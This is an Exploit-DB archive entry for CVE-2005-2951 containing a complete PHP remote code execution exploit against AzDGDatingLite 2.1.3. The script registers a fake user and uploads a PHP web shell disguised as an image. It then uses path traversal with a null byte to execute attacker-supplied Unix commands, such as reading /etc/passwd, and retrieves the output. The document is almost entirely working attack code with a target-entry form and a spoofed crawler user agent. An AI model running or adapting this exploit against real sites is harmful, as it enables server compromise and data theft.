AzDGDatingLite <= 2.1.3 - Remote Code Execution Exploit

2005-09-13T00:00:00
ID EDB-ID:1214
Type exploitdb
Reporter rgod
Modified 2005-09-13T00:00:00

Description

AzDGDatingLite <= 2.1.3 Remote Code Execution Exploit. CVE-2005-2951. Webapps exploit for php platform

                                        
                                            &lt;?php
#   azdgexpl.php                                                               #
#                                                                              #
#   AzDGDatingLite V 2.1.3 ( possibly prior versions) remote code execution    #
#   with generic http proxy support                                            #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   go!                                                                        #
#                                                                              #
#   Sun-tzu: "Therefore, I say: Know your enemy and know yourself; in a        #
#   hundred battles, you will never be defeated. When you are ignorant         #
#   of the enemy but know yourself, your chances of winning or losing          #
#   are equal. If ignorant both of your enemy and of yourself, you are         #
#   sure to be defeated in every battle."                                      #
#                                                                              #


error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'&lt;head&gt;&lt;title&gt;AzDGDatingLite V 2.1.3  remote commands execution&lt;/title&gt;&lt;meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"&gt; &lt;style type=
"text/css"&gt; &lt;!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --&gt; &lt;/style&gt;&lt;/head&gt; &lt;body&gt; &lt;p class="Stile6"&gt; AzDGDatingLi
te V 2.1.3 (possibly prior versions) remote commands execution&lt;/p&gt;&lt;p class="Stil
e6"&gt;a script by rgod at &lt;a href="http://rgod.altervista.org"    target="_blank"&gt;
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt; &lt;form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&uploaddir=value"&gt; &lt;p&gt;    &lt;input type=
"text" name="host"&gt;&lt;span class="Stile5"&gt;hostname (ex: www.sitename.com)  &lt;/span&gt;
&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="path"&gt;&lt;span class="Stile5"&gt;  path (ex: /azdg/ or
just /) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text"   name="port" &gt;   &lt;span class="Stile5"&gt;
specify a port other than 80 (default value)  &lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;input  type="text"
name="command"&gt; &lt;span  class="Stile5"&gt; a Unix command , example: ls -la  to list
directories, cat /etc/passwd to show passwd file &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text
" name="proxy"&gt; &lt;span class="Stile5"&gt; send exploit through an HTTP proxy (ip:por
t&lt;/span&gt;&lt;/p&gt; &lt;p&gt; &lt;input  type="submit"name="Submit" value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border="0"&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
             for ($li=0; $li&lt;=15; $li++)
                      { echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
			    }
            $ki=$ki+16;
            echo "&lt;/tr&gt;&lt;tr&gt;";
            }
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
			    }
echo "&lt;/tr&gt;&lt;/table&gt;";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -&gt; not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path&lt;&gt;'') and ($host&lt;&gt;'') and ($command&lt;&gt;''))
{
  if ($port=='') {$port=80;}

# step 1 -&gt; register and upload the evil jpeg file

srand(make_seed());
$anumber=rand(10000,99999);

//do not modify absolutely CRLF and spaces here...
$data='-----------------------------23281168279961
Content-Disposition: form-data; name="l"

default
-----------------------------23281168279961
Content-Disposition: form-data; name="a"

a
-----------------------------23281168279961
Content-Disposition: form-data; name="fname"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="lname"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="pass"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="rpass"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="month"

11
-----------------------------23281168279961
Content-Disposition: form-data; name="day"

27
-----------------------------23281168279961
Content-Disposition: form-data; name="year"

1942
-----------------------------23281168279961
Content-Disposition: form-data; name="gender"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="purpose"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="country"

158
-----------------------------23281168279961
Content-Disposition: form-data; name="email"

jimihendrix'.$anumber.'@hotmail.com
-----------------------------23281168279961
Content-Disposition: form-data; name="url"


-----------------------------23281168279961
Content-Disposition: form-data; name="icq"


-----------------------------23281168279961
Content-Disposition: form-data; name="aim"


-----------------------------23281168279961
Content-Disposition: form-data; name="phone"


-----------------------------23281168279961
Content-Disposition: form-data; name="city"


-----------------------------23281168279961
Content-Disposition: form-data; name="marstat"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="child"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="height"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="weight"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="hcolor"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="ecolor"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="etnicity"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="religion"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="smoke"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="drink"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="education"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="job"


-----------------------------23281168279961
Content-Disposition: form-data; name="hobby"


-----------------------------23281168279961
Content-Disposition: form-data; name="descr"

rock star
-----------------------------23281168279961
Content-Disposition: form-data; name="sgender"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="setnicity"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="sreligion"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="agef"

14
-----------------------------23281168279961
Content-Disposition: form-data; name="aget"

60
-----------------------------23281168279961
Content-Disposition: form-data; name="heightf"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="heightt"

22
-----------------------------23281168279961
Content-Disposition: form-data; name="weightf"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="weightt"

45
-----------------------------23281168279961
Content-Disposition: form-data; name="hdyfu"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="file0"; filename="jimihendrix.gif"
Content-Type: image/jpeg

';

$shell='&lt;?php error_reporting(0); system($HTTP_GET_VARS[cmd].'."'".' &gt; README'."'".'); ?&gt;';

$data.=$shell;

$data.='
-----------------------------23281168279961
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream


-----------------------------23281168279961
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream


-----------------------------23281168279961--';
if ($proxy=='')
{$packet="POST ".$path."/add.php HTTP/1.1\r\n";}
else
{$packet="POST http://".$host.$path."add.php HTTP/1.1\r\n";}
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Language: en-us,en;q=0.5\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet.="Connection: close\r\n";
$packet.="Referer: http://".$host.$path."add.php?l=default\r\n";
$packet.="Cookie: PHPSESSID=13798fab78f7fa6e5bb501ac83329bdd\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------23281168279961\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);

#step 2 -&gt; retrieve upload subdir name and filename from index e profile page
if ($proxy=='')
{$packet="GET ".$path." HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path." HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

$temp='';$i=0;
while (!eregi('jimihendrix'.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi('&lt;/html&gt;',$temp)) { die(" Exploit failed... ");}
}

$temp2=explode('&lt;a href="',$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode('"',$temp);
$profile=$temp2[0];

echo '&lt;br&gt;retrieving shell path from /'.$profile.'&lt;br&gt;&lt;br&gt;';

if ($proxy=='')
{$packet="GET ".$path.$profile." HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path.$profile." HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

$temp='';$i=0;
while (!eregi('jimihendrix'.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi('&lt;/html&gt;',$temp)) { die(" Exploit failed... ");}
}

$temp2=explode('&lt;a href="',$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode('"',$temp);
$shellfullpath=$temp2[0];

echo '&lt;br&gt;Ok,found... shell is at '.$shellfullpath.'&lt;br&gt;&lt;br&gt;';
$temp=explode("/",$shellfullpath);
$temp2=count($temp)-1;
$subdir=$temp[$temp2-1];
$filename=$temp[$temp2];

# step 3 -&gt; launch commands
if ($proxy=='')
{$packet="GET ".$path."include/security.inc.php?cmd=".urlencode($command)."&l=".urlencode("../../../members/uploads/".$subdir."/".$filename.chr(0x00))." HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."include/security.inc.php?cmd=".urlencode($command)."&l=".urlencode("../../../members/uploads/".$subdir."/".$filename.chr(0x00))." HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

# step 4 -&gt; making a GET request for redirected output
echo '&lt;br&gt; if AzDGDatingLite is unpatched and vulnerable now you will see '.htmlentities($command).'output...&lt;br&gt;&lt;br&gt;';

if ($proxy=='')
{$packet="GET ".$path."include/README HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."include/README HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
}
?&gt;

# milw0rm.com [2005-09-13]